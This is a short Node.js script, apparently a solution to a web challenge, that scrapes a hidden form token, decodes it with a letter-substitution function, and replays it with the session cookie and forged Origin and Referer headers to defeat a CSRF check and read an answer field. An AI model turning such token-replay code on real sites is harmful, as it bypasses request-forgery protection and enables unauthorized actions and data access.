csrfValidation - nodejs bypass csrf and get data from server

csrfValidation.js

/*
 * csrfValidation.js
 *
 * use:
 * $ npm i cheerio
 * $ node ./csrfValidation <hostname> (e.g. www.googleauth.com/csrfFormAuth)
 *
 * written by Alexandre Mulatinho
 *
 */

const http = require('http'); /* or https but you have to change below too */
const cheerio = require('cheerio')
const querystring = require('querystring')

var endpoint = process.argv[2] || null
if (!endpoint) { return console.log("usage: node ./csrfValidation <hostname>"); }

/* magic local function, copied and modified */
function findAnswer(ourToken){replacements={a:"z",b:"y",c:"x",d:"w",e:"v",f:"u",g:"t",h:"s",i:"r",j:"q",k:"p",l:"o",m:"n",n:"m",o:"l",p:"k",q:"j",r:"i",s:"h",t:"g",u:"f",v:"e",w:"d",x:"c",y:"b",z:"a"};for(var e=ourToken.split(""),t=0;t<e.length;t++)e[t]=replacements.hasOwnProperty(e[t])?replacements[e[t]]:e[t];e=e.join(""); return e;}

/* rest call function */
function makeRequest(options, postData) {
	const http = require('http');

	return new Promise(function(resolve, reject) {
		const req = http.request(options, (res) => {
			res.setEncoding('utf8');
			let responseData = "";
			res.on('data', (chunk) => { responseData += chunk; });
			res.on('end', () => {
				/* getting magic cookie */
				var session_cookie = ""
				var cookies = res.headers['set-cookie'] || null
				if (cookies) session_cookie = cookies[0].split(";")[0];

				console.log(`STATUS: ${res.statusCode}, REQUEST: ${options.method} http://${options.hostname}${options.path}`);
				var obj = { sessionCookie: session_cookie, body: responseData }

				resolve(obj);
			});
		});
		req.on('error', (e) => { reject(e); })

		if (postData) { req.write(postData); }
		req.end();
	});
}

const options = {
	hostname: endpoint, port: 80, path: '/', method: 'GET',
	headers: { 'User-Agent': 'MulatoMotherfuckerJones/1.0' },
};

makeRequest(options).then(data => {
	const cj = cheerio.load(data.body)
	var token = cj('[name="token"]').val(); /* hidden token csrfToken or token */
	var newToken = findAnswer(token);
	console.log(`token: ${token} => ${newToken} --- cookie: ${data.sessionCookie}`)

	const postData = querystring.stringify({ token: newToken });

	const postOpts = {
		hostname: endpoint, port: 80, path: '/', method: 'POST',
		headers: {
			'Origin': `http://${endpoint}`,
			'Referer': `http://${endpoint}/`,
			'Content-Type': 'application/x-www-form-urlencoded',
			'User-Agent': 'MulatoMotherfuckerJones/1.0',
			'Cookie': data.sessionCookie,
			'Content-Length': Buffer.byteLength(postData)
		}
	};

	makeRequest(postOpts, postData).then(function(responseData) {
		const tp = cheerio.load(responseData.body)
		var answer = tp('[id="answer"]').text();
		console.log(`A resposta é: ${answer}`);
	});
});